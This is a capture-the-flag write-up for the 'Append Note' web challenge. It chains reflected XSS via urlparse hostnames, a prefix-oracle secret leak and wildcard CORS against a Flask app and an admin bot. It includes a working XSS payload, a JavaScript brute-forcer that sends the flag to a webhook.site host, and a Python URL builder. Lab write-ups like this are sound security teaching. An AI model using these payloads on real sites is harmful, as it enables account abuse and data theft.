Category: Web
Flag: lactf{3V3n7U4LLy_C0N5I573N7_70_L34X}
Overview
“Append Note” is a web challenge involving a Flask note-taking app and an admin bot. The goal is to steal a server-side secret and use it to retrieve the flag. The solve chains together three vulnerabilities:
- Reflected XSS in an error message
- Prefix oracle that leaks the secret one character at a time
- CORS misconfiguration on the flag endpoint
Challenge Architecture
There are two services:
- The Flask app (
app.py) — a joke “append-only” notes app running on port 4000 - The admin bot (
admin-bot.js) — a Puppeteer bot that visits any URL you give it, with the admin cookie pre-set
How the App Works
When the server starts, it generates a random 8-character hex secret and stores it as the first note:
SECRET = secrets.token_hex(4) # e.g. "a3f2b1c4"notes = [SECRET]There are three routes:
| Route | What it does |
|---|---|
GET / | Shows the homepage. Admins see a form to append notes. |
GET /append | Admin-only. Appends a note and redirects. Returns 200 if any existing note starts with the submitted content, 404 otherwise. |
GET /flag | Returns the flag if you provide the correct ?secret= parameter. Has Access-Control-Allow-Origin: *. |
How the Admin Bot Works
await page.setCookie({ name: "admin", value: ADMIN_PASSWORD, domain: CHALL_HOST, httpOnly: true, sameSite: "Lax"});await page.goto(url); // visits the URL you submitawait sleep(60_000); // stays on the page for 60 secondsKey details about the cookie:
httpOnly: true— JavaScript can’t readdocument.cookie, but the cookie is still sent with HTTP requestssameSite: "Lax"— The cookie is sent on top-level navigations (clicking links,window.locationredirects, form GETs) but NOT on cross-site subresource requests (<script src>,<img src>,fetch()from a different origin)
Vulnerability #1: Reflected XSS
The Bug
Look at the /append route’s URL validation:
@app.route("/append")def append(): if request.cookies.get("admin") != ADMIN_SECRET: return "Unauthorized", 401
content = request.args.get("content", "") redirect_url = request.args.get("url", "/")
parsed_url = urlparse(redirect_url) if ( parsed_url.scheme not in ["http", "https"] or parsed_url.hostname != urlparse(HOST).hostname ): return f"Invalid redirect URL {parsed_url.scheme} {parsed_url.hostname}", 400 # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # This is a raw f-string returned as text/html — NO HTML ESCAPING!
# ... rest of the handlerWhen the URL validation fails, the error message is returned as a raw string (not via render_template). Flask serves raw strings with Content-Type: text/html, so the browser will render any HTML tags in the response.
The parsed_url.hostname value is injected directly into the response. If we can make the hostname contain HTML, we have XSS.
Crafting the XSS
Python’s urlparse is very permissive with what it considers a “hostname”:
>>> from urllib.parse import urlparse>>> urlparse("http://<img src=x onerror=alert(1)>.com").hostname'<img src=x onerror=alert(1)>.com'It happily parses <img src=x onerror=alert(1)> as part of the hostname! When this is injected into the error message, the browser receives:
Invalid redirect URL http <img src=x onerror=alert(1)>.comThe browser renders the <img> tag, the image fails to load (src=x), and the onerror JavaScript handler fires. We have XSS on the challenge origin.
The Lowercase Problem
There’s a catch: urlparse(...).hostname lowercases everything. This means our JavaScript payload gets lowercased too:
>>> urlparse("http://HELLO.COM").hostname'hello.com'This breaks things like encodeURIComponent (becomes encodeuricomponent), String.fromCharCode, or any camelCase API. We need a way to deliver our full exploit code without it being lowercased.
The Solution: URL Fragments
URL fragments (the #... part) are never sent to the server. They exist only in the browser. This means:
- The fragment is NOT processed by
urlparse(not lowercased) - JavaScript can read it via
location.hash
So we use this XSS handler:
onerror=eval(atob(location.hash.slice(1)))This reads the base64-encoded payload from the URL fragment, decodes it, and executes it. Every character in eval(atob(location.hash.slice(1))) is already lowercase, so the lowercasing doesn’t break anything. And our actual exploit code is safely stored in the fragment with its original case preserved.
Unquoted HTML Attribute Constraints
Since the onerror handler is inside an unquoted HTML attribute (onerror=VALUE), the value cannot contain:
- Spaces,
",',`,=,<,>
Our handler eval(atob(location.hash.slice(1))) contains none of these — only letters, parentheses, and dots. It works perfectly.
Vulnerability #2: Prefix Oracle
The Bug
status = 200 if any(note.startswith(content) for note in notes) else 404notes.append(content)The /append endpoint leaks whether any existing note starts with the submitted content, via the HTTP status code:
- 200 = yes, some note starts with your content
- 404 = no match
Since notes[0] is the SECRET, we can guess the SECRET one character at a time:
Is SECRET starting with "0"? → fetch /append?content=0 → check statusIs SECRET starting with "1"? → fetch /append?content=1 → check status...Found "a" matches! SECRET starts with "a".Is SECRET starting with "a0"? → fetch /append?content=a0 → check statusIs SECRET starting with "a1"? → fetch /append?content=a1 → check status...For an 8-character hex secret, we need at most 8 positions x 16 hex chars = 128 requests. This takes just a few seconds.
Why Previously Appended Notes Don’t Cause False Positives
Each guess gets appended to the notes list regardless. Could old guesses cause false matches?
No. When we’re guessing position N, our guess is N+1 characters long. All previously appended notes are at most N characters long. Since "abc".startswith("abcd") is False (the note is shorter than the guess), old notes never cause false positives.
Vulnerability #3: CORS Wildcard on /flag
@app.route("/flag")def flag(): correct = request.args.get("secret") == SECRET message = FLAG if correct else "Invalid secret" response = make_response(message, 200 if correct else 401) response.headers["Access-Control-Allow-Origin"] = "*" # <-- readable from any origin return responseThe Access-Control-Allow-Origin: * header means any webpage can read the response. Once we know SECRET (from the oracle), we can fetch the flag and read its contents from JavaScript.
Putting It All Together
The Problem with a Direct Approach
We can’t just send the admin bot directly to our XSS URL because:
- The admin bot rejects URLs containing
#(our fragment payload) - The admin bot rejects pages that return non-200 status codes (our XSS error page returns 400)
The Two-Hop Solution
We use the app’s own redirect mechanism to work around both restrictions:
Admin Bot │ │ Hop 1: visits /append?content=&url=<encoded hop2 URL> │ ✓ No # in URL (it's encoded as %23 inside the url param) │ ✓ Returns 200 (empty content matches any note) │ ✓ Returns redirect.html which navigates to hop 2 ▼ Hop 1 Page (redirect.html) │ │ After 100ms, JavaScript runs: │ window.location.href = "<hop2 URL with #fragment>" ▼ Hop 2: /append?content=y&url=http://<XSS>.com#BASE64_PAYLOAD │ │ Server returns 400 with: "Invalid redirect URL http <img onerror=...>.com" │ (status code doesn't matter anymore — bot already passed page.goto()) │ │ Browser renders the <img> tag → onerror fires → eval(atob(location.hash.slice(1))) │ location.hash contains our base64 exploit → decoded and executed! ▼ XSS Exploit Runs (same origin as challenge!) │ │ 1. Brute-forces SECRET via 128 fetch() calls to /append │ 2. Fetches /flag?secret=SECRET → reads the flag │ 3. Sends flag to attacker's webhook ▼ Flag Exfiltrated!Why Hop 1 Returns 200
The trick is using content= (empty string). Since every string starts with an empty string, any(note.startswith("") for note in notes) is always True, giving us a guaranteed 200 response.
Why the Cookie Works on Hop 2
The admin bot sets the cookie for the challenge domain before navigation. When hop 1’s JavaScript redirects to hop 2 (same domain), the browser includes the cookie because:
- It’s a same-origin navigation
sameSite: Laxallows cookies on top-level navigations
The Exploit Code
JavaScript Payload (runs via XSS)
(async () => { var s = ''; var h = '0123456789abcdef';
// Brute-force SECRET character by character for (var i = 0; i < 8; i++) { for (var j = 0; j < 16; j++) { var g = s + h[j]; var r = await fetch('/append?content=' + g + '&url=' + location.origin + '/'); if (r.status == 200) { s = g; break } } }
// Fetch the flag using the leaked SECRET var f = await (await fetch('/flag?secret=' + s)).text();
// Exfiltrate to our webhook fetch('https://webhook.site/XXXX?flag=' + btoa(f))})()Key details:
fetch('/append?...')is a same-origin request (our XSS runs on the challenge origin), so the admin cookie is included automatically- We can read
response.statusbecause it’s same-origin - We use
btoa()to base64-encode the flag for safe URL transmission (avoids issues with{and}in the flag) - The inner
/appendcalls useurl='+location.origin+'/'as a valid redirect URL that passes the hostname check
Python Exploit Script
import base64from urllib.parse import quote
challenge_url = 'https://append-note-XXXXX.instancer.lac.tf'webhook_url = 'https://webhook.site/YOUR-UUID'
# The JS payload (as above, minified into one line)exploit_js = "(async()=>{var s='';var h='0123456789abcdef';...})()"
# Base64 encode for the URL fragmentjs_b64 = base64.b64encode(exploit_js.encode()).decode()
# Hop 2: XSS URL with payload in fragmentxss_hostname = "<img src=x onerror=eval(atob(location.hash.slice(1)))>.com"hop2_url = f"{challenge_url}/append?content=y&url=http://{xss_hostname}#{js_b64}"
# Hop 1: Valid redirect that navigates to hop 2# content= (empty) ensures 200 status# quote() percent-encodes the hop2 URL (# becomes %23)hop1_url = f"{challenge_url}/append?content=&url={quote(hop2_url, safe='')}"
# Submit hop1_url to the admin botRunning the Exploit
# 1. Create a webhook at https://webhook.site (or similar)
# 2. Run the exploitpython3 exploit.py \ https://append-note-XXXXX.instancer.lac.tf \ https://admin-bot-XXXXX.instancer.lac.tf/append-note \ https://webhook.site/YOUR-UUID
# 3. Check webhook.site for incoming request with ?flag=BASE64# Decode the base64 value to get the flag